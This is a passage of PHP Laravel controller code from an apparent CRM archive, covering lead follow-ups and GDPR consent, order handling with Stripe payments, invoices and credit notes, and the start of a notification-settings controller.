Carbon::createFromFormat($this->company->date_format . ' ' . $this->company->time_format, $request->next_follow_up_date . ' ' . $request->start_time)->format('Y-m-d H:i:s'); $followUp->remark = $request->remark; $followUp->send_reminder = $request->send_reminder; $followUp->remind_time = $request->remind_time; $followUp->remind_type = $request->remind_type; $followUp->status = 'incomplete'; $followUp->save(); return Reply::success(__('messages.recordSaved')); } public function editFollow($id) { $this->follow = LeadFollowUp::findOrFail($id); $this->editPermission = user()->permission('edit_lead_follow_up'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->follow->added_by == user()->id))); return view('leads.followup.edit', $this->data); } public function updateFollow(FollowUpStoreRequest $request) { $this->lead = Lead::findOrFail($request->lead_id); $followUp = LeadFollowUp::findOrFail($request->id); $this->editPermission = user()->permission('edit_lead_follow_up'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $followUp->added_by == user()->id) )); if ($this->lead->next_follow_up != 'yes') { return Reply::error(__('messages.leadFollowUpRestricted')); } $followUp->lead_id = $request->lead_id; $followUp->next_follow_up_date = Carbon::createFromFormat($this->company->date_format . ' ' . $this->company->time_format, $request->next_follow_up_date . ' ' . $request->start_time)->format('Y-m-d H:i:s'); $followUp->remark = $request->remark; $followUp->send_reminder = $request->send_reminder; $followUp->status = $request->status; $followUp->remind_time = $request->remind_time; $followUp->remind_type = $request->remind_type; $followUp->save(); return Reply::success(__('messages.updateSuccess')); } public function deleteFollow($id) { $followUp = LeadFollowUp::findOrFail($id); $this->deletePermission = user()->permission('delete_lead_follow_up'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $followUp->added_by == user()->id))); LeadFollowUp::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function proposals() { $viewPermission = user()->permission('view_lead_proposals'); abort_403(!in_array($viewPermission, ['all', 'added'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'leads.ajax.proposal'; $dataTable = new ProposalDataTable(); return $dataTable->render('leads.show', $this->data); } public function gdpr() { $dataTable = new LeadGDPRDataTable(); $tab = request('tab'); $this->activeTab = $tab ?: 'gdpr'; $this->view = 'leads.ajax.gdpr'; return $dataTable->render('leads.show', $this->data); } public function consent(Request $request) { $leadId = $request->leadId; $this->consentId = $request->consentId; $this->leadId = $leadId; $this->consent = PurposeConsent::with(['lead' => function ($query) use ($request) { $query->where('lead_id', $request->leadId) ->orderBy('created_at', 'desc'); }]) ->where('id', $request->consentId) ->first(); return view('leads.gdpr.consent-form', $this->data); } public function saveLeadConsent(Request $request, $id) { $lead = Lead::findOrFail($id); $consent = PurposeConsent::findOrFail($request->consent_id); if ($request->consent_description && $request->consent_description != '') { $consent->description = trim_editor($request->consent_description); $consent->save(); } // Saving Consent Data $newConsentLead = new PurposeConsentLead(); $newConsentLead->lead_id = $lead->id; $newConsentLead->purpose_consent_id = $consent->id; $newConsentLead->status = trim($request->status); $newConsentLead->ip = $request->ip(); $newConsentLead->updated_by_id = $this->user->id; $newConsentLead->additional_description = $request->additional_description; $newConsentLead->save(); return $request->status == 'agree' ? Reply::success(__('messages.consentOptIn')) : Reply::success(__('messages.consentOptOut')); } public function importLead() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.lead'); $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (request()->ajax()) { $html = view('leads.ajax.import', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.ajax.import'; return view('leads.create', $this->data); } public function importStore(ImportRequest $request) { $this->importFileProcess($request, LeadImport::class); $view = view('leads.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, LeadImport::class, ImportLeadJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function notes() { $dataTable = new LeadNotesDataTable(); $viewPermission = user()->permission('view_lead'); abort_403 (!($viewPermission == 'all' || $viewPermission == 'added' || $viewPermission == 'both')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'leads.ajax.notes'; return $dataTable->render('leads.show', $this->data); } public function changeFollowUpStatus(Request $request) { $id = $request->id; $status = $request->status; $leadFollowUp = LeadFollowUp::find($id); if(!is_null($leadFollowUp)){ $leadFollowUp->status = $status; $leadFollowUp->save(); } return Reply::success(__('messages.leadStatusChangeSuccess')); } } Http/Controllers/OrderController.php000064400000115562150325104510013627 0ustar00pageTitle = 'app.menu.orders'; $this->middleware( function ($request, $next) { abort_403(!in_array('orders', $this->user->modules)); return $next($request); } ); } public function index(OrdersDataTable $dataTable) { $viewPermission = user()->permission('view_order'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $id = UserService::getUserId(); $this->bankDetails = null; if ($this->viewBankAccountPermission != 'none') { $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', $id); } $this->bankDetails = $bankAccounts->get(); } if (!request()->ajax()) { $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } } return $dataTable->render('orders.index', $this->data); } public function create() { $this->addPermission = user()->permission('add_order'); abort_403(!in_array('clients', user_modules()) || in_array('client', user_roles()) || !in_array($this->addPermission, ['all', 'added', 'both'])); $id = UserService::getUserId(); $this->pageTitle = __('modules.orders.createOrder'); $this->clients = User::allClients(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->unit_types = UnitType::all(); $this->companyAddresses = CompanyAddress::all(); $this->projects = Project::allProjects(); $this->lastOrder = Order::lastOrderNumber() + 1; $this->orderSetting = invoice_setting(); $this->zero = ''; if ($this->orderSetting && (strlen($this->lastOrder) < $this->orderSetting->order_digit)) { $condition = $this->orderSetting->order_digit - strlen($this->lastOrder); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } // this data is sent from project and client invoices $this->project = request('project_id') ? Project::findOrFail(request('project_id')) : null; if (request('client_id')) { $this->client = User::withoutGlobalScope(ActiveScope::class)->findOrFail(request('client_id')); } $this->linkInvoicePermission = user()->permission('link_invoice_bank_account'); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->paymentGateway = PaymentGatewayCredentials::first(); $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', $id); } $order = new Order(); $getCustomFieldGroupsWithFields = $order->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $bankAccounts = $bankAccounts->get(); $this->bankDetails = $bankAccounts; if (request()->ajax()) { $html = view('orders.ajax.admin_create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'orders.ajax.admin_create'; return view('orders.create', $this->data); } public function saveOrder($request) { $id = UserService::getUserId(); $order = new Order(); $order->client_id = $request->client_id ?: $id; $order->order_date = now()->format('Y-m-d'); $order->sub_total = round($request->sub_total, 2); $order->total = round($request->total, 2); $order->discount = is_null($request->discount_value) ? 0 : $request->discount_value; $order->discount_type = $request->discount_type; $order->status = $request->has('status') ? $request->status : 'pending'; $order->currency_id = $this->company->currency_id; $order->note = trim_editor($request->note); $order->show_shipping_address = (($request->has('shipping_address') && $request->shipping_address != '') ? 'yes' : 'no'); $order->company_address_id = $request->company_address_id ?: null; $order->save(); if ($order->show_shipping_address == 'yes') { /** * @phpstan-ignore-next-line */ $client = $order->clientdetails; $client->shipping_address = $request->shipping_address; $client->saveQuietly(); } return $order; } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function store(PlaceOrder $request) { if (!in_array('client', user_roles())) { $this->addPermission = user()->permission('add_order'); abort_403(!in_array($this->addPermission, ['all', 'added'])); } $id = UserService::getUserId(); $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (!empty($items)) { foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } } else { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1) || ($qty == 0)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } $order = new Order(); $order->client_id = $request->client_id ?: $id; $order->project_id = $request->project_id; $order->order_date = now()->format('Y-m-d'); $order->sub_total = round($request->sub_total, 2); $order->total = round($request->total, 2); $order->discount = is_null($request->discount_value) ? 0 : $request->discount_value; $order->discount_type = $request->discount_type; $order->status = $request->has('status') ? $request->status : 'pending'; $order->currency_id = $this->company->currency_id; $order->note = trim_editor($request->note); $order->show_shipping_address = (($request->has('shipping_address') && $request->shipping_address != '') ? 'yes' : 'no'); $order->company_address_id = $request->company_address_id ?: null; $order->order_number = $request->order_number; $order->save(); // To add custom fields data if ($request->custom_fields_data) { $order->updateCustomFieldData($request->custom_fields_data); } if ($order->show_shipping_address == 'yes') { /** @phpstan-ignore-next-line */ $client = $order->clientdetails; $client->shipping_address = $request->shipping_address; $client->saveQuietly(); } if ($request->has('status') && $request->status == 'completed') { $clientId = $order->client_id; // Notify client $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($clientId); if ($notifyUser) { event(new NewOrderEvent($order, $notifyUser)); } $invoice = $this->makeOrderInvoice($order, $request); $this->makePayment($order->total, $invoice, 'complete'); } // Log search $this->logSearchEntry($order->id, $order->id, 'orders.show', 'order'); return response(Reply::redirect(route('orders.show', $order->id), __('messages.recordSaved')))->withCookie(Cookie::forget('productDetails')); } public function addItem(Request $request) { $companyCurrencyID = company()->currency_id; $this->item = Product::with('tax')->findOrFail($request->id); $this->invoiceSetting = $this->company->invoiceSetting; $exchangeRate = ($request->currencyId) ? Currency::findOrFail($request->currencyId) : Currency::findOrFail($companyCurrencyID); if($exchangeRate->exchange_rate == $request->exchangeRate){ $exRate = $exchangeRate->exchange_rate; }else{ $exRate = floatval($request->exchangeRate ?: 1); } if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate)) { if ($this->item->total_amount != '') { $this->item->price = floor($this->item->total_amount / $exRate); } else { /** @phpstan-ignore-next-line */ $this->item->price = $this->item->price / $exRate; } } else { if ($this->item->total_amount != '') { $this->item->price = $this->item->total_amount; } } $this->item->price = number_format((float)$this->item->price, 2, '.', ''); $this->taxes = Tax::all(); $view = view('orders.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } public function edit($id) { $this->order = Order::with('client', 'unit')->findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_order'); $this->units = UnitType::all(); $userid = UserService::getUserId(); abort_403(in_array('client', user_roles()) || !($this->editPermission == 'all' || ($this->editPermission == 'both' && ($this->order->added_by == $userid || $this->order->client_id == $userid)) || ($this->editPermission == 'added' && $this->order->added_by == $userid) || ($this->editPermission == 'owned' && $this->order->client_id == $userid))); abort_403(in_array($this->order->status, ['completed', 'canceled', 'refunded'])); $this->pageTitle = $this->order->order_number; $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->clients = User::allClients(); $this->companyAddresses = CompanyAddress::all(); $getCustomFieldGroupsWithFields = $this->order->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } if (request()->ajax()) { $html = view('orders.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'orders.ajax.edit'; return view('orders.create', $this->data); } public function update(UpdateOrder $request, $id) { $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $sku = $request->sku; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; $tax = $request->taxes; $invoice_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; if ($request->total == 0) { return Reply::error(__('messages.amountIsZero')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && $qty < 1) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $order = Order::findOrFail($id); if ($order->status == 'completed') { return Reply::error(__('messages.invalidRequest')); } $order->sub_total = round($request->sub_total, 2); $order->total = round($request->total, 2); $order->note = trim_editor($request->note); $order->show_shipping_address = $request->show_shipping_address; $order->discount = is_null($request->discount_value) ? 0 : $request->discount_value; $order->discount_type = $request->discount_type; $order->status = $request->has('status') ? $request->status : $order->status; $order->company_address_id = $request->company_address_id ?: null; $order->save(); // To add custom fields data if ($request->custom_fields_data) { $order->updateCustomFieldData($request->custom_fields_data); } // delete old data if (isset($item_ids) && !empty($item_ids)) { OrderItems::whereNotIn('id', $item_ids)->where('order_id', $order->id)->delete(); } foreach ($items as $key => $item) : $order_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; $orderItem = OrderItems::find($order_item_id); if ($orderItem === null) { $orderItem = new OrderItems(); } $orderItem->order_id = $order->id; $orderItem->item_name = $item; $orderItem->item_summary = $itemsSummary[$key]; $orderItem->type = $item; $orderItem->hsn_sac_code = (isset($hsn_sac_code[$key]) ? $hsn_sac_code[$key] : null); $orderItem->sku = (isset($sku[$key]) ? $sku[$key] : null); $orderItem->quantity = $quantity[$key]; $orderItem->unit_price = round($cost_per_item[$key], 2); $orderItem->amount = round($amount[$key], 2); $orderItem->taxes = $tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null; $orderItem->field_order = $key + 1; $orderItem->save(); // Save order image url if (isset($invoice_item_image_url[$key])) { OrderItemImage::create( [ 'order_item_id' => $orderItem->id, 'external_link' => isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : '' ] ); } endforeach; if ($request->has('shipping_address')) { if ($order->client_id != null && $order->client_id != '') { /** @phpstan-ignore-next-line */ $client = $order->clientdetails; } if (isset($client)) { $client->shipping_address = $request->shipping_address; $client->save(); } } if ($request->has('status') && $request->status == 'completed' && !$order->invoice) { $invoice = $this->makeOrderInvoice($order, $request); $this->makePayment($order->total, $invoice, 'complete'); } return Reply::redirect(route('orders.index'), __('messages.updateSuccess')); } public function show($id) { $userid = UserService::getUserId(); $this->order = Order::with('client', 'unit')->findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_order'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'both' && ($this->order->added_by == $userid || $this->order->client_id == $userid)) || ($this->viewPermission == 'owned' && $this->order->client_id == $userid) || ($this->viewPermission == 'added' && $this->order->added_by == $userid))); $this->pageTitle = $this->order->order_number; $this->discount = 0; $getCustomFieldGroupsWithFields = $this->order->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } /** @phpstan-ignore-next-line */ if ($this->order->discount > 0) { /** @phpstan-ignore-next-line */ if ($this->order->discount_type == 'percent') { $this->discount = (($this->order->discount / 100) * $this->order->sub_total); } else { $this->discount = $this->order->discount; } } $taxList = array(); /** @phpstan-ignore-next-line */ $items = OrderItems::whereNotNull('taxes') ->where('order_id', $this->order->id) ->get(); foreach ($items as $item) { /** @phpstan-ignore-next-line */ if (isset($this->order) && $this->order->discount > 0 && $this->order->discount_type == 'percent') { $item->amount = $item->amount - (($this->order->discount / 100) * $item->amount); } foreach (json_decode($item->taxes) as $tax) { $this->tax = OrderItems::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($this->tax->rate_percent / 100) * $item->amount; } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($this->tax->rate_percent / 100) * $item->amount); } } } $this->taxes = $taxList; $this->settings = company(); $this->creditNote = 0; $this->offlinePayemntDone = ($this->order->invoice) ? 'yes' : 'no'; $this->credentials = PaymentGatewayCredentials::first(); $this->methods = OfflinePaymentMethod::activeMethod(); $this->payment = Payment::where('order_id',$id)->first(); $this->viewBankAccountPermission = user()->permission('view_bankaccount'); $this->bankDetails = null; if ($this->viewBankAccountPermission != 'none') { $bankAccounts = BankAccount::where('status', 1)->where('currency_id', company()->currency_id); if ($this->viewBankAccountPermission == 'added') { $bankAccounts = $bankAccounts->where('added_by', $userid); } $this->bankDetails = $bankAccounts->get(); } return view('orders.show', $this->data); } public function destroy($id) { $order = Order::findOrFail($id); $userid = UserService::getUserId(); $this->deletePermission = user()->permission('delete_order'); abort_403(in_array('client', user_roles()) || !($this->deletePermission == 'all' || ($this->deletePermission == 'both' && ($order->added_by == $userid || $order->client_id == $userid)) || ($this->deletePermission == 'added' && $order->added_by == $userid) || ($this->deletePermission == 'owned' && $order->client_id == $userid))); Order::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function offlinePaymentModal(Request $request) { $this->orderID = $request->order_id; $this->methods = OfflinePaymentMethod::activeMethod(); return view('orders.offline.index', $this->data); } public function stripeModal(Request $request) { $this->orderID = $request->order_id; $this->countries = countries(); return view('orders.stripe.index', $this->data); } public function saveStripeDetail(StoreStripeDetail $request) { $id = $request->order_id; $this->order = Order::with(['client'])->findOrFail($id); $this->settings = $this->company; $this->credentials = PaymentGatewayCredentials::first(); $client = null; if (isset($this->order) && !is_null($this->order->client_id)) { /** @phpstan-ignore-next-line */ $client = $this->order->client; } if (($this->credentials->test_stripe_secret || $this->credentials->live_stripe_secret) && !is_null($client)) { Stripe::setApiKey($this->credentials->stripe_mode == 'test' ? $this->credentials->test_stripe_secret : $this->credentials->live_stripe_secret); $total = $this->order->total; $totalAmount = $total; $customer = \Stripe\Customer::create( [ 'email' => $client->email, 'name' => $request->clientName, 'address' => [ 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ], ] ); $intent = \Stripe\PaymentIntent::create( [ 'amount' => $totalAmount * 100, /** @phpstan-ignore-next-line */ 'currency' => $this->order->currency->currency_code, 'customer' => $customer->id, 'setup_future_usage' => 'off_session', 'payment_method_types' => ['card'], 'description' => $this->order->id . ' Payment', 'metadata' => ['integration_check' => 'accept_a_payment', 'order_id' => $id] ] ); $this->intent = $intent; } $customerDetail = [ 'email' => $client->email, 'name' => $request->clientName, 'line1' => $request->clientName, 'city' => $request->city, 'state' => $request->state, 'country' => $request->country, ]; $this->customerDetail = $customerDetail; $view = view('orders.stripe.stripe-payment', $this->data)->render(); return Reply::dataOnly(['view' => $view, 'intent' => $this->intent]); } /* This method will be called when payment fails from front end */ public function paymentFailed($orderId) { $order = Order::findOrFail($orderId); $order->status = 'failed'; $order->save(); $errorMessage = null; if (request()->gateway == 'Razorpay') { $errorMessage = ['code' => request()->errorMessage['code'], 'message' => request()->errorMessage['description']]; } if (request()->gateway == 'Stripe') { $errorMessage = ['code' => request()->errorMessage['type'], 'message' => request()->errorMessage['message']]; } /* make new payment entry with status=failed and other details */ $payment = new Payment(); $payment->order_id = $order->id; $payment->currency_id = $order->currency_id; $payment->amount = $order->total; $payment->gateway = request()->gateway; $payment->paid_on = now(); $payment->status = 'failed'; $payment->payment_gateway_response = $errorMessage; $payment->save(); return Reply::error(__('messages.paymentFailed')); } public function makeInvoice($orderId) { /* Step1 - Set order status paid */ $order = Order::findOrFail($orderId); $order->status = 'completed'; $order->save(); if (!$order->invoice) { /* Step2 - make an invoice related to recently paid order_id */ $invoice = new Invoice(); $invoice->order_id = $orderId; $invoice->client_id = $order->client_id; $invoice->sub_total = $order->sub_total; $invoice->total = $order->total; $invoice->currency_id = $order->currency_id; $invoice->status = 'paid'; $invoice->note = trim_editor($order->note); $invoice->issue_date = now(); $invoice->send_status = 1; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->due_amount = 0; $invoice->save(); /* Make invoice items */ $orderItems = OrderItems::where('order_id', $order->id)->get(); foreach ($orderItems as $item) { $invoiceItem = InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary, 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => $item->unit_price, 'amount' => $item->amount, 'product_id' => $item->product_id, 'unit_id' => $item->unit_id, 'taxes' => $item->taxes ] ); // Save invoice item image if (isset($item->orderItemImage)) { $invoiceItemImage = new InvoiceItemImage(); $invoiceItemImage->invoice_item_id = $invoiceItem->id; $invoiceItemImage->external_link = $item->orderItemImage->external_link; $invoiceItemImage->save(); } } } else { $invoice = $order->invoice; } /* Step3 - make payment of recently created invoice_id */ $payment = new Payment(); /** @phpstan-ignore-next-line */ $payment->invoice_id = $invoice->id; $payment->order_id = $orderId; $payment->currency_id = $order->currency_id; $payment->amount = request()->paymentIntent['amount'] / 100; $payment->payload_id = request()->paymentIntent['id']; $payment->gateway = 'Stripe'; $payment->paid_on = now(); $payment->status = 'complete'; $payment->save(); return Reply::success(__('app.order_success')); } public function changeStatus(Request $request) { $order = Order::findOrFail($request->orderId); if ($request->status == 'completed') { $invoice = $this->makeOrderInvoice($order, $request); $this->makePayment($order->total, $invoice, 'complete'); Invoice::where('order_id', $request->orderId)->update(['status' => 'paid']); } /** @phpstan-ignore-next-line */ if ($request->status == 'refunded' && $order->invoice && !$order->invoice->credit_note && $order->status == 'completed') { $this->createCreditNote($order->invoice); } $order->status = $request->status; $order->save(); return Reply::success(__('messages.orderStatusChanged')); } public function makeOrderInvoice($order, $request) { if ($order->invoice) { /** @phpstan-ignore-next-line */ $order->invoice->status = 'paid'; $order->push(); return $order->invoice; } $id = UserService::getUserId(); $invoice = new Invoice(); $invoice->order_id = $order->id; $invoice->client_id = $order->client_id; $invoice->project_id = $order->project_id; $invoice->sub_total = $order->sub_total; $invoice->discount = $order->discount; $invoice->discount_type = $order->discount_type; $invoice->total = $order->total; $invoice->currency_id = $order->currency_id; $invoice->status = 'paid'; $invoice->note = trim_editor($order->note); $invoice->issue_date = now(); $invoice->send_status = 1; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->due_amount = 0; $invoice->hash = md5(microtime()); $invoice->added_by = user() ? $id : null; $invoice->bank_account_id = $request->bank_account_id; $invoice->save(); if (request()->item_name) { return $invoice; } // BELOW DATA to invoiceItems is stored from observer /* Make invoice items */ $orderItems = OrderItems::where('order_id', $order->id)->get(); foreach ($orderItems as $item) { $invoiceItem = new InvoiceItems(); $invoiceItem->invoice_id = $invoice->id; $invoiceItem->item_name = $item->item_name; $invoiceItem->item_summary = $item->item_summary; $invoiceItem->type = 'item'; $invoiceItem->quantity = $item->quantity; $invoiceItem->unit_price = $item->unit_price; $invoiceItem->amount = $item->amount; $invoiceItem->taxes = $item->taxes; $invoiceItem->product_id = $item->product_id; $invoiceItem->unit_id = $item->unit_id; $invoiceItem->saveQuietly(); // Save invoice item image if (isset($item->orderItemImage)) { $invoiceItemImage = new InvoiceItemImage(); $invoiceItemImage->invoice_item_id = $invoiceItem->id; $invoiceItemImage->external_link = $item->orderItemImage->external_link; $invoiceItemImage->save(); } } $notifyUser = User::withoutGlobalScope(ActiveScope::class)->findOrFail($order->client_id); event(new NewInvoiceEvent($invoice, $notifyUser)); return $invoice; } public function makePayment($amount, $invoice, $status = 'pending', $transactionId = null, $gateway = 'Offline') { $payment = Payment::where('invoice_id', $invoice->id)->first(); $payment = ($payment && $transactionId) ? $payment : new Payment(); $payment->project_id = $invoice->project_id; $payment->invoice_id = $invoice->id; $payment->order_id = $invoice->order_id; $payment->gateway = $gateway; $payment->transaction_id = $transactionId; $payment->event_id = $transactionId; $payment->currency_id = $invoice->currency_id; $payment->amount = $amount; $payment->paid_on = now(); $payment->status = $status; $payment->bank_account_id = $invoice->bank_account_id; $payment->save(); return $payment; } public function createCreditNote($invoice) { DB::beginTransaction(); $clientId = null; if ($invoice->client_id) { $clientId = $invoice->client_id; } elseif (!is_null($invoice->project) && $invoice->project->client_id) { $clientId = $invoice->project->client_id; } $creditNote = new CreditNotes(); $creditNote->project_id = ($invoice->project_id) ? $invoice->project_id : null; $creditNote->client_id = $clientId; $creditNote->cn_number = CreditNotes::count() + 1; $creditNote->invoice_id = $invoice->id; $creditNote->issue_date = now()->format(company()->date_format); $creditNote->sub_total = round($invoice->sub_total, 2); $creditNote->discount = round($invoice->discount, 2); $creditNote->discount_type = $invoice->discount_type; $creditNote->total = round($invoice->total, 2); $creditNote->adjustment_amount = round(0, 2); $creditNote->currency_id = $invoice->currency_id; $creditNote->save(); if ($invoice) { $invoice->credit_note = 1; if ($invoice->status != 'paid') { $amount = round($invoice->total, 2); if (round($invoice->total, 2) > round($invoice->total - $invoice->getPaidAmount(), 2)) { // create payment for invoice total if ($invoice->status == 'partial') { $amount = round($invoice->total - $invoice->getPaidAmount(), 2); } $invoice->status = 'paid'; } else { $amount = round($invoice->total, 2); $invoice->status = 'partial'; $creditNote->status = 'closed'; if (round($invoice->total, 2) == round($invoice->total - $invoice->getPaidAmount(), 2)) { if ($invoice->status == 'partial') { $amount = round($invoice->total - $invoice->getPaidAmount(), 2); } $invoice->status = 'paid'; } } } $invoice->save(); } DB::commit(); foreach ($invoice->items as $key => $item) { $creditNoteItem = null; if (!is_null($item)) { $creditNoteItem = CreditNoteItem::create( [ 'credit_note_id' => $creditNote->id, 'item_name' => $item->item_name, 'type' => 'item', 'item_summary' => $item->item_summary, 'hsn_sac_code' => $item->hsn_sac_code, 'sku' => $item->sku, 'quantity' => $item->quantity, 'unit_price' => round($item->unit_price, 2), 'amount' => round($item->amount, 2), 'taxes' => $item->taxes, ] ); } $invoice_item_image_url = $item->invoiceItemImage ? (!empty($item->invoiceItemImage->external_link) ? $item->invoiceItemImage->external_link : $item->invoiceItemImage->file_url) : null; /* Invoice file save here */ if ($creditNoteItem && $invoice_item_image_url) { CreditNoteItemImage::create( [ 'credit_note_item_id' => $creditNoteItem->id, 'external_link' => $invoice_item_image_url, ] ); } } // Log search $this->logSearchEntry($creditNote->id, $creditNote->cn_number, 'creditnotes.show', 'creditNote'); return Reply::redirect(route('creditnotes.index'), __('messages.recordSaved')); } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->order = Order::with('client', 'unit')->findOrFail($id); $userid = UserService::getUserId(); $this->viewPermission = user()->permission('view_order'); abort_403(!($this->viewPermission == 'all' || ($this->viewPermission == 'both' && ($this->order->added_by == $userid || $this->order->client_id == $userid)) || ($this->viewPermission == 'owned' && $this->order->client_id == $userid) || ($this->viewPermission == 'added' && $this->order->added_by == $userid))); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->order = Order::with('client', 'unit')->findOrFail($id); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->paidAmount = $this->order->total; $this->discount = 0; if ($this->order->discount > 0) { if ($this->order->discount_type == 'percent') { $this->discount = (($this->order->discount / 100) * $this->order->sub_total); } else { $this->discount = $this->order->discount; } } $taxList = array(); $items = OrderItems::whereNotNull('taxes')->where('order_id', $this->order->id)->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = OrderItems::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } $this->taxes = $taxList; $this->settings = company(); $this->invoiceSetting = invoice_setting(); $pdf = app('dompdf.wrapper'); // $pdf->loadView('orders.pdf.' . $this->invoiceSetting->template, $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('orders.pdf.' . $this->invoiceSetting->template, $this->data)->render()); $filename = $this->order->order_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function getclients($id) { $client_data = Product::where('unit_id', $id)->get(); $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'data' => $client_data, 'type' => $unitId]); } } Http/Controllers/NotificationSettingController.php000064400000005636150325104510016540 0ustar00pageTitle = 'app.menu.notificationSettings'; $this->activeSettingMenu = 'notification_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_notification_setting') !== 'all'); return $next($request); }); } public function index() { $tab = request('tab'); $this->emailSettings = EmailNotificationSetting::all(); $this->slackSettings = SlackSetting::first(); $this->pushSettings = PushNotificationSetting::first(); $this->pusherSettings = PusherSetting::first(); switch ($tab) { case 'slack-setting': $this->checkedAll = $this->emailSettings->count() == $this->emailSettings->filter(function ($value) { return $value->send_slack == 'yes'; })->count(); $this->view = 'notification-settings.ajax.slack-setting'; break; case 'push-notification-setting': 